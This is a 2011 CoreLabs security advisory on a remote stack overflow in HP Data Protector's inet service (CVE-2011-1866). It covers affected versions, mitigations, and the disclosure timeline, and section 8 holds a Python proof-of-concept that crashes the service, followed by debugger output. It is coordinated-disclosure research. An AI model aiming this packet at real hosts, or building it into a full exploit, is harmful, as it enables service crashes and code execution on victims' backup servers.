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  Core Security Technologies - Corelabs Advisory
       http://corelabs.coresecurity.com/

  HP Data Protector EXEC_CMD Buffer Overflow Vulnerability


1. *Advisory Information*

Title: HP Data Protector EXEC_CMD Buffer Overflow Vulnerability
Advisory ID: CORE-2011-0606
Advisory URL:
http://www.coresecurity.com/content/HP-Data-Protector-EXECCMD-Vulnerability
Date published: 2011-06-29
Date of last update: 2011-06-29
Vendors contacted: HP
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Remote stack overflow [CWE-120]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1866


3. *Vulnerability Description*

HP Data Protector [1] is an automated backup and recovery software for
single-server to enterprise environments. A vulnerability in HP Data
Protector could allow a remote attacker to execute arbitrary code. The
vulnerability is triggered by sending a request to port 5555 of a host
running the "data protector inet" service, part of HP Data Protector.


4. *Vulnerable packages*

   . HP OpenView Storage Data Protector v6.20 (running on Windows).
   . HP OpenView Storage Data Protector v6.11 (running on Windows).
   . HP OpenView Storage Data Protector v6.10 (running on Windows).
   . HP OpenView Storage Data Protector v6.00 (running on Windows).
   . Previous versions may be affected, but were not tested.


5. *Non-vulnerable packages*

   . No fixes are available at the time of publication.


6. *Vendor Information, Solutions and Workarounds*

HP has issued a security bulletin with document ID c02872182 [2]
available through HP Support Center at http://www.hp.com/go/HPSC.

The latest version of HP Data Protector is vulnerable to this issue. HP
has provided the following procedure to mitigate this vulnerability:

   1. Upgrade to Data Protector A.06.20 or subsequent.
   2. Enable encrypted control communication services on cell server and
all clients in cell.

 The upgrade is available for download from
http://hp.com/go/dataprotector then under 'Product Information' click on
'Trials and Demos'.


7. *Credits*

This vulnerability was discovered and researched by Nahuel C. Riva from
Core Security Technologies. Publication was coordinated by Carlos Sarraute.


8. *Technical Description / Proof of Concept Code*

The following python script can be used to reproduce the bug.

/-----
import sys
import socket

from struct import pack

ip = sys.argv[1]
port = int(sys.argv[2]) # default tcp port 5555

target = (ip, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)

path = 'A' * 5000

packet =  pack('<L', 0x20003220)
packet += pack('<L', 0x00302000)
packet += '\x20'
packet += pack('>H', 0x0020)
packet += pack('<L', 0x00432000)
packet += pack('<L', 0x00303220)
packet += '\x20'
packet += 'omnicheck.exe'
packet += pack('>H', 0x0020)
packet += pack('>H', 0x0020) * 4
packet += pack('<L', 0x30200030)
packet += pack('>H', 0x0020)
packet += path
packet += pack('>H', 0x0000)

plen = pack('>L', len(packet))

s.send(plen + packet)

- -----/
 By executing this script, the omniinet.exe process crashes in the
following EIP:

/-----
7C8285D3    8B0424           MOV EAX,DWORD PTR SS:[ESP]
7C8285D6    8BE5             MOV ESP,EBP
7C8285D8    5D               POP EBP
7C8285D9    C3               RETN
        
- -----/
 This is part of a function inside the ntdll.dll library, however, if we
look the SEH chain, we can see that the SEH handler was overwritten with
the value 0x00410041 (the unicode value for "AA"):

/-----
SEH chain of thread 00000578
Address    SE handler
009AFF94   omniinet.00410041
00410041   A3004472
        
- -----/
 The following are the values of the CPU registers at the time of the
crash:

/-----
EAX C0000008
ECX 009AEC98
EDX 7C82859C ntdll.KiRaiseUserExceptionDispatcher
EBX 0015B480
ESP 009AEC44
EBP 009AEC94
ESI 00155A80
EDI 00000000
EIP 7C8285D3 ntdll.7C8285D3
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDB000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.7610000000000000098
ST7 empty 1.0000000000000000000
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
        
- -----/
 The problem is in the 0041D170 function. This function does a blind
copy of the string passed in the packet as a path:

/-----
0041D170     /$ 55             PUSH EBP
0041D171     |. 8BEC           MOV EBP,ESP
0041D173     |. 51             PUSH ECX
0041D174     |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
0041D177     |. 8945 FC        MOV DWORD PTR SS:[EBP-4],EAX
0041D17A     |. 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
0041D17D     |. 0FB711         MOVZX EDX,WORD PTR DS:[ECX]
0041D180     |. 85D2           TEST EDX,EDX
0041D182     |. 74 73          JE SHORT omniinet.0041D1F7
[...]
0041D1F7     |> 8B45 0C        /MOV EAX,DWORD PTR SS:[EBP+C]
0041D1FA     |. 0FB708         |MOVZX ECX,WORD PTR DS:[EAX]
0041D1FD     |. 85C9           |TEST ECX,ECX
0041D1FF     |. 74 26          |JE SHORT omniinet.0041D227
0041D201     |. 8B55 08        |MOV EDX,DWORD PTR SS:[EBP+8]
0041D204     |. 8955 FC        |MOV DWORD PTR SS:[EBP-4],EDX
0041D207     |. 8B45 08        |MOV EAX,DWORD PTR SS:[EBP+8]
0041D20A     |. 8B4D 0C        |MOV ECX,DWORD PTR SS:[EBP+C]
0041D20D     |. 66:8B11        |MOV DX,WORD PTR DS:[ECX]
0041D210     |. 66:8910        |MOV WORD PTR DS:[EAX],DX // copy WORDs
to the stack
0041D213     |. 8B45 08        |MOV EAX,DWORD PTR SS:[EBP+8]
0041D216     |. 83C0 02        |ADD EAX,2
0041D219     |. 8945 08        |MOV DWORD PTR SS:[EBP+8],EAX
0041D21C     |. 8B4D 0C        |MOV ECX,DWORD PTR SS:[EBP+C]
0041D21F     |. 83C1 02        |ADD ECX,2
0041D222     |. 894D 0C        |MOV DWORD PTR SS:[EBP+C],ECX
0041D225     |.^EB D0          \JMP SHORT omniinet.0041D1F7
0041D227     |> 8B55 08        MOV EDX,DWORD PTR SS:[EBP+8]
0041D22A     |. 66:C702 0000   MOV WORD PTR DS:[EDX],0
0041D22F     |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
0041D232     |. 8BE5           MOV ESP,EBP
0041D234     |. 5D             POP EBP
0041D235     \. C3             RETN
        
- -----/



9. *Report Timeline*

. 2011-06-06:
Core Security Technologies notifies the HP team of the vulnerabilities
and provides the technical details. Publication date is temporarily set
to July 5th, 2011.

. 2011-06-06:
Vendor confirms that a new case was assigned within HP Software Security
Response Team (SSRT).

. 2011-06-16:
Core requests an update on this issue, in particular Core asks the
vendor for a technical analysis of the bugs, a list of affected products
and versions, and the vendor's plan for providing a fix (no reply
received).

. 2011-06-23:
Core requests once more an update.

. 2011-06-28:
Vendor communicates that a security bulletin will be issued on the same
day (June 28). The vendor confirms the vulnerabilities, and recommends
as mitigation to enable encrypted communications in the cell server and
client.

. 2011-06-28:
Core requests a link to the vendor's bulletin, and asks whether CVE ids
have been assigned.

. 2011-06-28:
Vendor provides a link to the bulletin and CVE names for the
vulnerabilities.

. 2011-06-29:
Advisory CORE-2011-0606 is published.



10. *References*

[1] HP Data Protector http://hp.com/go/dataprotector
[2] HPSBMU02686 SSRT100541 rev.2 - HP OpenView Storage Data Protector,
Remote Execution of Arbitrary Code
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02872182


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2011 Core Security
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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